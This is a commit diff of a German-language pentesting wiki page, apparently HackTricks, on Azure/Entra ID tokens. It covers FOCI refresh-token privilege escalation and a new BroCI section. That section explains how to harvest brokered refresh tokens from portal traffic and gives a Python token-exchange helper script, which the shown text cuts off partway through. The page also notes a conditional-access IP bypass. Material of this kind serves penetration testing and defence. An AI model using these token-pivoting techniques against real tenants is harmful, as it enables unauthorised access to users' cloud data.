mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+396
-65
@@ -1,100 +1,100 @@
|
||||
# Az - Tokens & öffentliche Anwendungen
|
||||
# Az - Tokens & Öffentliche Anwendungen
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Entra ID ist Microsofts cloudbasierte Identitäts- und Zugriffsverwaltung (IAM)-Plattform und dient als grundlegendes Authentifizierungs- und Autorisierungssystem für Dienste wie Microsoft 365 und Azure Resource Manager. Azure AD implementiert das OAuth 2.0-Authorisierungsframework und das OpenID Connect (OIDC)-Authentifizierungsprotokoll, um den Zugriff auf Ressourcen zu verwalten.
|
||||
Entra ID ist Microsofts cloudbasierte Identity- und Access-Management-(IAM)-Plattform und dient als grundlegendes Authentifizierungs- und Autorisierungssystem für Dienste wie Microsoft 365 und Azure Resource Manager. Azure AD implementiert das OAuth 2.0-Authorisierungsframework und das OpenID Connect (OIDC)-Authentifizierungsprotokoll, um den Zugriff auf Ressourcen zu verwalten.
|
||||
|
||||
### OAuth
|
||||
|
||||
**Wesentliche Teilnehmer in OAuth 2.0:**
|
||||
**Wichtige Teilnehmer in OAuth 2.0:**
|
||||
|
||||
1. **Resource Server (RS):** Schützt Ressourcen, die dem Resource Owner gehören.
|
||||
2. **Resource Owner (RO):** Typischerweise ein Endbenutzer, der die geschützten Ressourcen besitzt.
|
||||
3. **Client Application (CA):** Eine Anwendung, die im Auftrag des Resource Owner Zugriff auf Ressourcen anfordert.
|
||||
3. **Client Application (CA):** Eine Anwendung, die im Auftrag des Resource Owners Zugriff auf Ressourcen anfordert.
|
||||
4. **Authorization Server (AS):** Gibt Access Tokens an Client-Anwendungen aus, nachdem diese authentifiziert und autorisiert wurden.
|
||||
|
||||
**Scopes und Zustimmung:**
|
||||
|
||||
- **Scopes:** Granulare Berechtigungen, die auf dem Resource Server definiert sind und Zugangsebenen festlegen.
|
||||
- **Consent / Zustimmung:** Der Prozess, durch den ein Resource Owner einer Client-Anwendung erlaubt, mit bestimmten Scopes auf Ressourcen zuzugreifen.
|
||||
- **Scopes:** Feingranulare Berechtigungen, die auf dem Resource Server definiert sind und die Zugriffsebenen festlegen.
|
||||
- **Consent:** Der Prozess, durch den ein Resource Owner einer Client-Anwendung die Erlaubnis erteilt, mit bestimmten Scopes auf Ressourcen zuzugreifen.
|
||||
|
||||
**Microsoft 365-Integration:**
|
||||
|
||||
- Microsoft 365 nutzt Azure AD für IAM und besteht aus mehreren "first-party" OAuth-Anwendungen.
|
||||
- Diese Anwendungen sind tief integriert und haben oft voneinander abhängige Service-Beziehungen.
|
||||
- Um die Benutzererfahrung zu vereinfachen und die Funktionalität zu erhalten, gewährt Microsoft diesen First-Party-Anwendungen "implied consent" bzw. "pre-consent".
|
||||
- **Implied Consent / Implizite Zustimmung:** Bestimmten Anwendungen wird automatisch **Zugriff auf spezifische Scopes gewährt, ohne explizite Zustimmung des Benutzers oder Administrators**.
|
||||
- Diese vorab genehmigten Scopes sind typischerweise sowohl für Benutzer als auch Administratoren verborgen und somit in Standardverwaltungsoberflächen weniger sichtbar.
|
||||
- Diese Anwendungen sind tief integriert und haben oft miteinander verflochtene Dienstbeziehungen.
|
||||
- Um die Benutzererfahrung zu vereinfachen und die Funktionalität aufrechtzuerhalten, gewährt Microsoft diesen first-party-Anwendungen "implied consent" bzw. "pre-consent".
|
||||
- **Implied Consent:** Bestimmten Anwendungen wird automatisch **der Zugriff auf spezifische Scopes gewährt, ohne dass eine ausdrückliche Zustimmung des Benutzers oder Administrators erforderlich ist.**
|
||||
- Diese vorab genehmigten Scopes sind typischerweise sowohl vor Benutzern als auch vor Administratoren verborgen, wodurch sie in Standardverwaltungsoberflächen weniger sichtbar sind.
|
||||
|
||||
**Typen von Client-Anwendungen:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- Besitzen eigene Anmeldeinformationen (z. B. Passwörter oder Zertifikate).
|
||||
- Können sich gegenüber dem Authorization Server **sicher authentifizieren**.
|
||||
- Können sich **sicher gegenüber dem Authorization Server authentifizieren**.
|
||||
2. **Public Clients:**
|
||||
- Haben keine eindeutigen Anmeldeinformationen.
|
||||
- Können sich nicht sicher beim Authorization Server authentifizieren.
|
||||
- **Sicherheitsimplikation:** Ein Angreifer kann eine Public Client-Anwendung bei Tokenanfragen nachahmen, da es keinen Mechanismus gibt, mit dem der Authorization Server die Legitimität der Anwendung verifizieren kann.
|
||||
- Können sich nicht sicher gegenüber dem Authorization Server authentifizieren.
|
||||
- **Sicherheitsimplikation:** Ein Angreifer kann eine Public Client-Anwendung bei Tokenanforderungen imitieren, da kein Mechanismus existiert, mit dem der Authorization Server die Legitimität der Anwendung verifizieren kann.
|
||||
|
||||
## Authentifizierungs-Token
|
||||
|
||||
Es gibt **drei Arten von Token**, die in OIDC verwendet werden:
|
||||
Es gibt **drei Typen von Tokens**, die in OIDC verwendet werden:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Der Client präsentiert dieses Token dem Resource Server, um **auf Ressourcen zuzugreifen**. Es kann nur für eine spezifische Kombination aus Benutzer, Client und Resource verwendet werden und **kann nicht vor Ablauf widerrufen werden** — standardmäßig ist das Ablaufdatum 1 Stunde.
|
||||
- **ID Tokens**: Dieses Token erhält der Client vom Authorization Server. Es enthält grundlegende Informationen über den Benutzer. Es ist **an eine spezifische Kombination aus Benutzer und Client gebunden**.
|
||||
- **Refresh Tokens**: Werden dem Client zusammen mit dem Access Token bereitgestellt. Werden verwendet, um **neue Access- und ID-Tokens zu erhalten**. Es ist an eine spezifische Kombination aus Benutzer und Client gebunden und kann widerrufen werden. Standardmäßiges Ablaufverhalten: **90 Tage** für inaktive Refresh Tokens und **kein Ablauf** für aktive Tokens (aus einem Refresh-Token kann es möglich sein, neue Refresh-Tokens zu erhalten).
|
||||
- Ein Refresh Token sollte an ein **`aud`**, an gewisse **scopes** und an einen **tenant** gebunden sein und sollte nur in der Lage sein, Access Tokens für dieses aud, diese scopes (und nicht mehr) und diesen tenant zu erzeugen. Dies ist jedoch **nicht** der Fall bei **FOCI applications tokens**.
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Der Client präsentiert dieses Token gegenüber dem Resource Server, um **auf Ressourcen zuzugreifen**. Es kann nur für eine spezifische Kombination aus Benutzer, Client und Ressource verwendet werden und **kann bis zum Ablauf nicht widerrufen** werden — standardmäßig beträgt die Gültigkeit 1 Stunde.
|
||||
- **ID Tokens**: Der Client erhält dieses **Token vom Authorization Server**. Es enthält grundlegende Informationen über den Benutzer. Es ist **an eine spezifische Kombination aus Benutzer und Client gebunden**.
|
||||
- **Refresh Tokens**: Werden dem Client zusammen mit dem Access Token bereitgestellt. Werden verwendet, um **neue Access- und ID-Tokens zu erhalten**. Sie sind an eine spezifische Kombination aus Benutzer und Client gebunden und können widerrufen werden. Standardmäßige Ablaufzeit ist **90 Tage** für inaktive Refresh Tokens und **keine Ablaufzeit für aktive Tokens** (aus einem Refresh Token ist es möglich, neue Refresh Tokens zu erhalten).
|
||||
- Ein Refresh Token sollte an ein `aud`, an einige **scopes**, und an einen **tenant** gebunden sein und sollte nur in der Lage sein, Access Tokens für dieses aud, diese scopes (und nicht mehr) und diesen Tenant zu generieren. Dies ist jedoch nicht der Fall bei **FOCI applications tokens**.
|
||||
- Ein Refresh Token ist verschlüsselt und nur Microsoft kann es entschlüsseln.
|
||||
- Das Erhalten eines neuen Refresh Tokens widerruft das vorherige Refresh Token nicht.
|
||||
|
||||
> [!WARNING]
|
||||
> Informationen für **conditional access** werden **im JWT gespeichert**. Wenn du also das **Token von einer erlaubten IP-Adresse anforderst**, wird diese **IP** im Token **gespeichert** und dann kannst du dieses Token von einer **nicht erlaubten IP verwenden, um auf die Ressourcen zuzugreifen**.
|
||||
> Informationen für **conditional access** sind im **JWT** gespeichert. Wenn Sie das **Token von einer erlaubten IP-Adresse** anfordern, wird diese **IP** im Token gespeichert, und anschließend können Sie dieses Token von einer **nicht erlaubten IP** verwenden, um auf die Ressourcen zuzugreifen.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
Der im "aud"-Feld angegebene Wert ist der **Resource Server** (die Anwendung), der für die Anmeldung verwendet wird.
|
||||
Der im "aud"-Feld angegebene Wert ist der **Resource Server** (die Anwendung), der/die für die Anmeldung verwendet wird.
|
||||
|
||||
Der Befehl `az account get-access-token --resource-type [...]` unterstützt die folgenden Typen und jeder von ihnen wird ein spezifisches "aud" im resultierenden Access Token hinzufügen:
|
||||
Der Befehl `az account get-access-token --resource-type [...]` unterstützt die folgenden Typen, und jeder von ihnen fügt im resultierenden Access Token ein spezifisches "aud" hinzu:
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachte, dass die folgenden nur die APIs sind, die von `az account get-access-token` unterstützt werden — es gibt noch mehr.
|
||||
> Beachte, dass die folgenden nur die von `az account get-access-token` unterstützten APIs sind — es gibt jedoch noch weitere.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud examples</summary>
|
||||
<summary>aud-Beispiele</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Wird verwendet, um auf die legacy Azure AD Graph API (deprecated) zuzugreifen, die Anwendungen das Lesen und Schreiben von Verzeichnisdaten in Azure Active Directory (Azure AD) ermöglicht.
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Wird verwendet, um auf die veraltete Azure AD Graph API (deprecated) zuzugreifen, die Anwendungen das Lesen und Schreiben von Verzeichnisdaten in Azure Active Directory (Azure AD) ermöglicht.
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Wird verwendet, um Azure-Ressourcen über die Azure Resource Manager API zu verwalten. Dazu gehören Operationen wie Erstellen, Aktualisieren und Löschen von Ressourcen wie virtuellen Maschinen, Storage Accounts und mehr.
|
||||
* **arm (Azure Resource Manager)**: Wird verwendet, um Azure-Ressourcen über die Azure Resource Manager API zu verwalten. Dies umfasst Operationen wie Erstellen, Aktualisieren und Löschen von Ressourcen wie virtuellen Maschinen, Storage Accounts und mehr.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Wird verwendet, um auf Azure Batch zuzugreifen, einen Dienst, der großskalige parallele und High-Performance-Computing-Anwendungen effizient in der Cloud ermöglicht.
|
||||
- **batch (Azure Batch Services)**: Wird verwendet, um auf Azure Batch zuzugreifen, einen Dienst, der groß angelegte parallele und hochleistungsfähige Rechenanwendungen effizient in der Cloud ermöglicht.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Wird verwendet, um mit Azure Data Lake Storage Gen1 zu interagieren, einem skalierbaren Datenspeicher- und Analyse-Dienst.
|
||||
* **data-lake (Azure Data Lake Storage)**: Wird verwendet, um mit Azure Data Lake Storage Gen1 zu interagieren, einem skalierbaren Speicher- und Analyse-Service.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Wird verwendet, um auf Azure Media Services zuzugreifen, die cloudbasierte Medienverarbeitungs- und Bereitstellungsdienste für Video- und Audioinhalte bereitstellen.
|
||||
- **media (Azure Media Services)**: Wird verwendet, um auf Azure Media Services zuzugreifen, die cloudbasierte Medienverarbeitungs- und Bereitstellungsdienste für Video- und Audioinhalte bieten.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Wird verwendet, um auf die Microsoft Graph API zuzugreifen, den einheitlichen Endpunkt für Daten der Microsoft 365-Dienste. Ermöglicht den Zugriff auf Daten und Erkenntnisse aus Diensten wie Azure AD, Office 365, Enterprise Mobility und Security Services.
|
||||
* **ms-graph (Microsoft Graph API)**: Wird verwendet, um auf die Microsoft Graph API zuzugreifen, den einheitlichen Endpunkt für Daten aus Microsoft 365-Diensten. Er ermöglicht den Zugriff auf Daten und Insights aus Diensten wie Azure AD, Office 365, Enterprise Mobility und Security-Diensten.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Wird verwendet, um auf Azure Database Services für Open-Source-Relationaldatenbank-Engines wie MySQL, PostgreSQL und MariaDB zuzugreifen.
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Wird verwendet, um auf Azure Database-Services für Open-Source-RDBMS wie MySQL, PostgreSQL und MariaDB zuzugreifen.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
Der Scope eines Access Tokens wird im scp-Schlüssel innerhalb des Access Token JWT gespeichert. Diese Scopes legen fest, worauf das Access Token Zugriff hat.
|
||||
Der Scope eines Access Tokens ist im scp-Schlüssel des Access Token JWT gespeichert. Diese Scopes definieren, worauf das Access Token Zugriff hat.
|
||||
|
||||
Wenn ein JWT berechtigt ist, eine bestimmte API zu kontaktieren, aber **nicht den Scope** besitzt, um die angeforderte Aktion auszuführen, wird es **die Aktion mit diesem JWT nicht ausführen können**.
|
||||
Wenn einem JWT zwar erlaubt ist, eine bestimmte API anzusprechen, ihm aber der Scope fehlt, um die gewünschte Aktion durchzuführen, kann es diese Aktion mit diesem JWT nicht ausführen.
|
||||
|
||||
### Get refresh & access token example
|
||||
### Beispiel: Refresh- & Access-Token abrufen
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -144,31 +144,31 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
### Andere access token-Felder
|
||||
### Weitere Felder von Access Tokens
|
||||
|
||||
- **appid**: Application-ID, die zur Generierung des token verwendet wurde
|
||||
- **appidacr**: Die Application Authentication Context Class Reference gibt an, wie der client authentifiziert wurde; für einen public client ist der Wert 0, und wenn ein client secret verwendet wird, ist der Wert 1
|
||||
- **acr**: Die Authentication Context Class Reference-Claim ist "0", wenn die Endbenutzer-Authentifizierung die Anforderungen von ISO/IEC 29115 nicht erfüllt hat.
|
||||
- **amr**: Das Authentication method-Feld gibt an, wie das token authentifiziert wurde. Ein Wert von “pwd” zeigt an, dass ein Passwort verwendet wurde.
|
||||
- **groups**: Gibt die Gruppen an, in denen das principal Mitglied ist.
|
||||
- **iss**: Das iss-Feld identifiziert den security token service (STS), der das token erzeugt hat. z. B. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (die uuid ist die tenant ID)
|
||||
- **oid**: Die object ID des principal
|
||||
- **appid**: Application-ID, die zur Generierung des Tokens verwendet wurde
|
||||
- **appidacr**: Die Application Authentication Context Class Reference gibt an, wie der Client authentifiziert wurde; für einen public client ist der Wert 0, und wenn ein client secret verwendet wurde, ist der Wert 1
|
||||
- **acr**: Der Authentication Context Class Reference-Claim ist "0", wenn die Endbenutzer-Authentifizierung nicht den Anforderungen von ISO/IEC 29115 entsprach.
|
||||
- **amr**: Die Authentication method gibt an, wie das Token authentifiziert wurde. Ein Wert von „pwd“ weist darauf hin, dass ein Passwort verwendet wurde.
|
||||
- **groups**: Gibt die Gruppen an, in denen der Principal Mitglied ist.
|
||||
- **iss**: Der Issuer identifiziert den Security Token Service (STS), der das Token erzeugt hat. z. B. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (die uuid ist die tenant ID)
|
||||
- **oid**: Die Object-ID des Principal
|
||||
- **tid**: Tenant ID
|
||||
- **iat, nbf, exp**: Ausstellungszeitpunkt (wann es ausgestellt wurde), Not before (kann vor diesem Zeitpunkt nicht verwendet werden, normalerweise derselbe Wert wie iat), Ablaufzeit.
|
||||
- **iat, nbf, exp**: Issued at (Ausstellungszeitpunkt), Not before (kann vor diesem Zeitpunkt nicht verwendet werden, üblicherweise derselbe Wert wie iat), Expiration time (Ablaufzeit).
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
Vorher wurde erwähnt, dass refresh tokens an die **scopes** gebunden sein sollten, mit denen sie generiert wurden, an die **application** und den **tenant**, für die sie generiert wurden. Wenn eine dieser Grenzen durchbrochen wird, ist es möglich, Privilegien zu eskalieren, da es möglich wird, access tokens für andere Ressourcen und tenants zu erzeugen, auf die der Benutzer Zugriff hat, und mit mehr scopes, als ursprünglich vorgesehen.
|
||||
Zuvor wurde erwähnt, dass refresh tokens an die **scopes**, für die sie generiert wurden, sowie an die **application** und den **tenant**, für die sie bestimmt sind, gebunden sein sollten. Wenn eine dieser Grenzen gebrochen wird, ist es möglich, Privilegien zu eskalieren, da es möglich wird, access tokens für andere Ressourcen und Tenants zu erzeugen, auf die der Benutzer Zugriff hat, und mit mehr Scopes, als ursprünglich beabsichtigt waren.
|
||||
|
||||
Außerdem ist **dies mit allen refresh tokens möglich** in der [Microsoft identity platform] (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google), weil, wie die [**docs**] erwähnen: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
Außerdem ist **dies mit allen refresh tokens** in der [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) möglich, denn wie die [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) erwähnen: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
|
||||
Beachte außerdem, dass FOCI applications öffentliche Anwendungen sind, daher **no secret is needed** to authenticate to the server.
|
||||
Beachte außerdem, dass FOCI-Anwendungen public applications sind, sodass **kein secret benötigt wird**, um sich beim Server zu authentifizieren.
|
||||
|
||||
Dann bekannte FOCI-Clients, die in der [**original research**] berichtet wurden, können [**found here**].
|
||||
Dann können bekannte FOCI-Clients, die in der [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) berichtet wurden, [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) gefunden werden.
|
||||
|
||||
### Anderen scope anfordern
|
||||
|
||||
Im Anschluss an das vorherige Beispielcode wird in diesem Code ein neues token für einen anderen scope angefordert:
|
||||
Aufbauend auf dem vorherigen Beispielcode wird in diesem Code ein neues Token für einen anderen scope angefordert:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -185,7 +185,7 @@ scopes=[
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
### Einen anderen client und scopes erhalten
|
||||
### Anderen Client und andere Scopes abrufen
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
@@ -201,30 +201,361 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## Wo man tokens findet
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
Aus der Perspektive eines Angreifers ist es sehr interessant zu wissen, wo man z. B. access und refresh tokens finden kann, wenn der PC eines Opfers kompromittiert wurde:
|
||||
A BroCI refresh tokens ist ein brokered token exchange Pattern, bei dem ein bestehender refresh token zusammen mit zusätzlichen Broker-Parametern verwendet wird, um Tokens für eine andere vertrauenswürdige First-Party-App anzufordern.
|
||||
|
||||
- In **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** enthält Informationen über zuvor angemeldete Benutzer
|
||||
- **`clouds.config contains`** Informationen über Abonnements
|
||||
- **`service_principal_entries.json`** enthält Anwendungs-Credentials (tenant id, clients und secret). Nur unter Linux & macOS
|
||||
Diese refresh tokens müssen in diesem Broker-Kontext ausgegeben worden sein (ein normaler refresh token kann normalerweise nicht als BroCI refresh token verwendet werden).
|
||||
|
||||
### Goal and purpose
|
||||
|
||||
Das Ziel von BroCI ist es, eine gültige Benutzersitzung aus einer broker-fähigen App-Kette wiederzuverwenden und Tokens für ein anderes vertrauenswürdiges App/Resource-Paar anzufordern. Dadurch können Privilegien aus dem ursprünglichen Token "escalated" werden.
|
||||
|
||||
Aus offensiver Sicht ist das relevant, weil:
|
||||
|
||||
- Es Pfade zu vorab genehmigten First-Party-Apps öffnen kann, die mit standardmäßigen refresh exchanges nicht zugänglich sind.
|
||||
- Es access tokens für hochrangige APIs (z. B. Microsoft Graph) unter App-Identitäten mit weitreichenden delegated permissions zurückgeben kann.
|
||||
- Es die Möglichkeiten zur Post-Authentication-Token-Pivotierung über das klassische FOCI-Client-Switching hinaus erweitert.
|
||||
|
||||
Was sich bei einem NAA/BroCI refresh token ändert, ist nicht das sichtbare Token-Format, sondern der **Issuance-Kontext** und broker-bezogene Metadaten, die Microsoft bei brokered refresh-Operationen validiert.
|
||||
|
||||
NAA/BroCI token exchanges sind **nicht** dasselbe wie ein regulärer OAuth refresh exchange.
|
||||
|
||||
- Ein regulärer refresh token (z. B. erhalten via device code flow) ist normalerweise für standardmäßige `grant_type=refresh_token`-Operationen gültig.
|
||||
- Eine BroCI-Anfrage enthält zusätzlichen Broker-Kontext (`brk_client_id`, broker `redirect_uri`, und `origin`).
|
||||
- Microsoft prüft, ob der vorgelegte refresh token in einem passenden brokered Kontext ausgestellt wurde.
|
||||
- Daher schlagen viele "normale" refresh tokens bei BroCI-Anfragen mit Fehlern wie `AADSTS900054` fehl ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- Man kann einen normalen refresh token in der Regel nicht im Code in einen BroCI-validen konvertieren.
|
||||
- Man benötigt einen refresh token, der bereits durch einen kompatiblen brokered flow ausgestellt wurde.
|
||||
|
||||
Check the web <https://entrascopes.com/> to find BroCI configured apps an the trust relationships they have.
|
||||
|
||||
|
||||
### Mental model
|
||||
|
||||
Denke an BroCI als:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
Wenn irgendein Teil dieser Broker-Kette nicht übereinstimmt, schlägt der Exchange fehl.
|
||||
|
||||
### Where to find a BroCI-valid refresh token
|
||||
|
||||
Eine praktische Methode ist das Sammeln von Browser-Portal-Traffic:
|
||||
|
||||
1. Melde dich bei `https://entra.microsoft.com` (oder Azure portal) an.
|
||||
2. Öffne DevTools -> Network.
|
||||
3. Filtere nach:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Identifiziere die brokered token response und kopiere `refresh_token`.
|
||||
5. Verwende diesen refresh token mit passenden BroCI-Parametern (`brk_client_id`, `redirect_uri`, `origin`), wenn du Tokens für Ziel-Apps anforderst (z. B. ADIbizaUX / Microsoft_Azure_PIMCommon Szenarien).
|
||||
|
||||
### Common errors
|
||||
|
||||
- `AADSTS900054`: Der Kontext des refresh token stimmt nicht mit dem angegebenen Broker-Tupel (`brk_client_id` / `redirect_uri` / `origin`) überein oder das Token stammt nicht aus einem brokered portal flow.
|
||||
- `AADSTS7000218`: Der ausgewählte Client-Flow erwartet eine confidential credential (`client_secret`/assertion), oft zu sehen, wenn versucht wird, device code mit einem non-public client zu verwenden.
|
||||
|
||||
<details>
|
||||
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
